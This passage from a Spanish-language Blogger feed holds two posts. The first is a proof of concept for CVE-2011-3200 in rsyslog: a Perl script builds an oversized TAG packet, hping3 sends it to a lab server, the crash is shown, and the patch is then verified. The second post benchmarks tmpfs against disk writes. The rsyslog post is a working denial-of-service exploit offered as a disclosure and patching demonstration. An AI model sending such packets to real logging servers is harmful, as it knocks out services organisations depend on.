los&amp;nbsp; 32 caracteres en el campo TAG del mensaje, utilizando logger.&lt;br /&gt;&lt;br /&gt;# logger -p local7.err -d -t PruebaPruebaPruebaPruebaPruebaTTX "esto es una prueba"&lt;br /&gt;&lt;br /&gt;Captura de wireshark:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://3.bp.blogspot.com/-kQ5uddTKSYs/Tm6gHTUp7EI/AAAAAAAAANE/gz56WbmGFNE/s1600/rsyslog_test2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-kQ5uddTKSYs/Tm6gHTUp7EI/AAAAAAAAANE/gz56WbmGFNE/s1600/rsyslog_test2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;CARAMBA! Podemos apreciar que la X que excede el límite de los 32 caracteres nunca salió de nuestro sistema, es decir que nuestro rsyslog local cortó la cadena para solamente enviar lo permitido.&lt;br /&gt;&lt;br /&gt;Bien, de momento podemos asegurar que un rsyslog no tiraría abajo otro rsyslog porque jamás enviaría un TAG que superase el límite que dicta el RFC.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Qué pasa si... creamos a mano un mensaje syslog y violamos esta restricción?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para simular el mensaje copiamos de wireshark la parte de datos del paquete UDP y lo pegamos abriendo un archivo en modo binario (vi -b crafted_packet), de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-z1V8xeJ9x8c/Tm6cllGmqhI/AAAAAAAAAM4/jHN_VN3Tfcc/s1600/unaXmas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-z1V8xeJ9x8c/Tm6cllGmqhI/AAAAAAAAAM4/jHN_VN3Tfcc/s1600/unaXmas.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ahora el TAG tiene "PruebaPruebaPruebaPruebaPruebaTTX" que son 33 caracteres, es decir la misma prueba que hicimos con logger, pero esta vez será de manera manual, salteandonos el rsyslog local.&lt;br /&gt;&lt;br /&gt;Pero cómo metemos este mensaje en un paquete UDP y lo enviamos al servidor???&lt;br /&gt;&lt;br /&gt;hping3 es la respuesta a esa pregunta!!! hping3 es una aplicación esencialmente diseñada para hacer ataques de flooding xD, pero en este caso la usaremos con fines menos escabrosos. Entre otras cosas nos permite crear paquetes ICMP, IP, TCP, UDP de forma muy flexible y enviarlos a tasas dañinas o no.&lt;br /&gt;&lt;br /&gt;Lo que haremos es generar paquetes UDP al puerto 514 del servidor de logs remoto en la IP 192.168.206.160.&lt;br /&gt;&lt;br /&gt;La forma de generar el paquete es la siguiente:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Ktq1WB8pCwg/Tm6oj1RSXAI/AAAAAAAAANQ/9SkQVKzmNFU/s1600/solo_ganamos_una_x_mas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-Ktq1WB8pCwg/Tm6oj1RSXAI/AAAAAAAAANQ/9SkQVKzmNFU/s1600/solo_ganamos_una_x_mas.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;-2 : indica que queremos generar paquetes UDP&lt;br /&gt;-i 1: cantidad de paquetes por segundo&lt;br /&gt;-d 78: tamaño del PDU UDP, es decir de los datos del paquete UDP&lt;br /&gt;-E crafted_packet: es el archivo de 78 bytes que creamos anteriormente&lt;br /&gt;-p 514: indica el puerto de destino de los paquetes&lt;br /&gt;192.168.206.160: es la IP del servidor remoto&lt;br /&gt;&lt;br /&gt;En la parte inferior de la imagen vemos los dos paquetes que recibió el servidor remoto, y se puede apreciar la X extra que excede los 32 caracteres. Por lo tanto queda claro que el buffer donde se guarda esta variable tiene mas de 32 bytes de espacio. &lt;br /&gt;&lt;br /&gt;Bueno, ahora a reventarlo de una vez por todas. &lt;br /&gt;&lt;br /&gt;Ahora generemos un ultra_crafted_packet (muajaja muajaja), básicamente es el crafted_packet, pero con 1024 X en lugar de una. Al archivo lo generé con un MUY feo script en perl.&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;open(F,"&amp;gt;ultra_crafted_packet");&lt;br /&gt;$inicio="&amp;lt;187&amp;gt;Sep 11 15:25:32 moon PruebaPruebaPruebaPruebaPruebaTT";&lt;br /&gt;$fin=" esto es una prueba";&lt;br /&gt;$mid="";&lt;br /&gt;foreach $i (1 .. 1024)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $mid="X".$mid;&lt;br /&gt;}&lt;br /&gt;print F $inicio.$mid.$fin; &lt;br /&gt;close(F);&lt;br /&gt;&lt;br /&gt;Ejecutamos el script y ya tenemos nuestro super ultra_crafted_packet, con un total de 1101 bytes. Entonces lanzamos hping3, cambiando los parámetros que corresponden (-d 1101 y -E ultra_crafted_packet).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-LB_6KZ-ghaI/Tm6sTRcF15I/AAAAAAAAANU/duBrbxxbWrQ/s1600/smasher.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://1.bp.blogspot.com/-LB_6KZ-ghaI/Tm6sTRcF15I/AAAAAAAAANU/duBrbxxbWrQ/s640/smasher.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Y en el servidor nos encontramos con una grata sorpresa :D :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-qe5TDCsOS94/Tm6s1Dm8GzI/AAAAAAAAANY/8tEW_k3bzeA/s1600/smashed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-qe5TDCsOS94/Tm6s1Dm8GzI/AAAAAAAAANY/8tEW_k3bzeA/s1600/smashed.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;La muerte súbita de rsyslogd y el backtrace correspondiente. &lt;br /&gt;&lt;br /&gt;Entonces nos encontramos ante un sencillo caso de denegación al servicio de login centralizado. Solo basta con 1 paquete que exceda los límites del buffer donde se almacena el campo TAG del mensaje syslog, para que el servicio muera.&lt;br /&gt;&lt;br /&gt;POR SUERTE la mayoría (sino todas) de las distribuciones ya han publicado el parche correspondiente. Por lo tanto actualizar el servidor es crucial.&lt;br /&gt; &lt;br /&gt;#zypper lu -t patch | grep rsyslog&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nos muestra disponible el parche de seguridad 5099, que corresponde a esta vulnerabilidad. Lo aplicamos y volvemos a probar.&lt;br /&gt;&lt;br /&gt;#zypper in patch rsyslog&lt;br /&gt;&lt;br /&gt;#rcsyslog restart&lt;br /&gt;&lt;br /&gt;Y volvemos a lanzar hping3 con los parámetros que mataron el servidor, pero esta vez vemos:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Ctt_kAd8acY/Tm6wMzZlq8I/AAAAAAAAANc/68cLxjrk3Xs/s1600/selaaguanto.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-Ctt_kAd8acY/Tm6wMzZlq8I/AAAAAAAAANc/68cLxjrk3Xs/s1600/selaaguanto.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Esta vez el servidor no hice overflow y sigue funcionando perfectamente. Por lo tanto el parche funciona.&lt;br /&gt;&lt;br /&gt;Bueno, esto ya se extendió demasiado, posiblemente esta vulnerabilidad pueda ser explotada para hacer cosas mas peligrosas, pero a mi gusto es suficiente con poder denegar un servicio que podría ser crucial para una organización.&lt;br /&gt;&lt;br /&gt;El parche creo que se tomó 1 semana en salir, y en ese tiempo todos los rsyslog que vagaban por el mundo eran vulnerables a algo tan secillo como esto... me gustaría creer que no queda ninguno sin actualiazr... ME GUSTARÍA!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-8082074093986666662?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/8082074093986666662/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2011/09/prueba-de-concepto-cve-2011-3200.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/8082074093986666662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/8082074093986666662'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2011/09/prueba-de-concepto-cve-2011-3200.html' title='Prueba de concepto CVE-2011-3200 rsyslog'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-a5FyhgnaqiM/Tm13LwzeDHI/AAAAAAAAAMw/xziyktn7fUk/s72-c/rsyslog_test.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-7589018074943901539</id><published>2011-08-31T18:42:00.000-03:00</published><updated>2011-08-31T18:42:07.805-03:00</updated><title type='text'>Usando tmpfs</title><content type='html'>Bien, entrada corta si las hay!!! Esto va a ser una PEQUEÑA demostración del uso de tmpfs. Qué es tmpfs??? Wiki knows (http://es.wikipedia.org/wiki/Tmpfs#Linux). Es una suerte de sistema de archivos en memoria volatil (RAM y swap si es necesario, ojo!!!).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ventajas:&lt;/b&gt;&lt;br /&gt;-Las operaciones de lectura y escritura son MUCHO mas rápidas que en otros medios de IO como los discos rígidos (IDEAL para montar directorios de CACHEs).&lt;br /&gt;-Es sencillo de utilizar.&lt;br /&gt;&amp;nbsp;&lt;b&gt;Desventajas:&lt;/b&gt;&lt;br /&gt;-Es volatil!!! no se mantiene luego de un reinicio del equipo por ejemplo.&lt;br /&gt;-Su espacio está limitado por la cantidad de memoria RAM disponible y la swap del sistema.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Demostración simple de uso y rendimiento en escritura:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Creamos un directorio llamado prueba_tmpfs&lt;br /&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;mkdir prueba_tmpfs&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;Antes de montar veamos cómo se el consumo de memoria con free -m.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;free -m&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; total&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; used&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; free&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shared&amp;nbsp;&amp;nbsp;&amp;nbsp; buffers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cached&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;Mem:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1975&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1167&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;&lt;b&gt;807&lt;/b&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 538&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;-/+ buffers/cache:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 603&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1371&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;Swap:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5789&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5789&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Montamos un sistema de archivos tipo tmpfs (-t tmpfs) de 1GigaByte en el directorio que acabamos de crear.&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;mount -t tmpfs -o size=1G tmpfs prueba_tmpfs/&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-family: inherit;"&gt;Vemos los puntos de montaje existentes y nos encontramos con nuestro tmpfs recien montado.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;mount&lt;/b&gt;&lt;/i&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;&lt;b&gt;...&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;b&gt;&lt;i&gt;tmpfs on /root/prueba_tmpfs type tmpfs (rw,size=1G)&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;Pegamos una mirada con free para ver qué pasó y vemos que si bien el directorio se montó, no se ocupó memoria del sistema aún.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;free -m&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; total&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; used&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; free&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shared&amp;nbsp;&amp;nbsp;&amp;nbsp; buffers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cached&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;Mem:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1975&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1167&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;&lt;b&gt;807&lt;/b&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 538&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;-/+ buffers/cache:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 603&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1371&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;Swap:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5789&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5789&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;Veamos qué beneficios nos trae tmpfs, escribamos algo!!! Para probar utilizamos un simple dd.&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;dd if=/dev/zero of=prueba_tmpfs/prueba bs=1M count=768&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de entrada&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de salida&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;805306368 bytes (805 MB) copiados, 1,58104 s, &lt;b&gt;&lt;i&gt;509&lt;/i&gt;&lt;/b&gt; MB/s&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nos encontramos con una velocidad de escritura de 509 Mbytes por  segundo!!! (509MBytes*8 = 4072Mbits por seg aprox 4Gbits por segundo!!! lo  cual es consistente con el ancho de banda teórico de las memorias DDR2  de 667 Mhz que tiene mi laptop :D). Una velocidad MAS que interesante.&lt;br /&gt;&lt;br /&gt;Podemos ver un cambio significativo en free -m. Pasamos de 807 a 37 Mbytes libres, es decir consumimos 807-37=770 (consistente con los 768 que escribimos con el dd). &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;b&gt;&lt;i&gt;free -m&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; total&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; used&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; free&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shared&amp;nbsp;&amp;nbsp;&amp;nbsp; buffers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cached&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;Mem:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1975&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1937&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;&lt;b&gt;37&lt;/b&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1306&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;-/+ buffers/cache:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 605&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1369&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;Swap:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5789&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5789&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;mmm ahora le toca al sata de la laptop hacer su mejor esfuerzo xD (competencia un tanto injusta jajaja). Escribimos de la misma manera que antes, pero a un archivo fuera del directorio donde montamos el tmpfs, en este caso el archivo se llama simplemente &lt;b&gt;prueba&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;dd if=/dev/zero of=prueba bs=1M count=768&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de entrada&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de salida&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;805306368 bytes (805 MB) copiados, 12,3028 s, &lt;i&gt;&lt;b&gt;65,5&lt;/b&gt;&lt;/i&gt; MB/s&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La velocidad fue de 65,5 Mbytes por segundo (65,5Mbytes * 8 = 524 Mbits por segundo, bastante por debajo del máximo teórico de los SATA II, por debajo inclusive del SATA I). Con esto queda claro que la diferencia es IMPORTANTE, la escritura sobre tmpfs fue casi 8 veces mas rápida (509/65,5=7,7).&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Demostración simple de uso y rendimiento en lectura:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Todo muy lindo en la escritura, pero en la lectura qué será? :O.&lt;br /&gt;&lt;br /&gt;Primero leemos del tmpfs y vemos una velocidad bastante mayor a la que obtuvimos en escritura. Pasando los 7Gbits por segundo!!!, esto seguramente se debe a algún manejo extraño de caches por parte del kernel, porque esta velocidad excede el límite teórico de las memorias de la laptop.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;/span&gt;&lt;i style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;dd if=prueba_tmpfs/prueba of=/dev/null bs=1M&lt;/b&gt;&lt;/i&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de 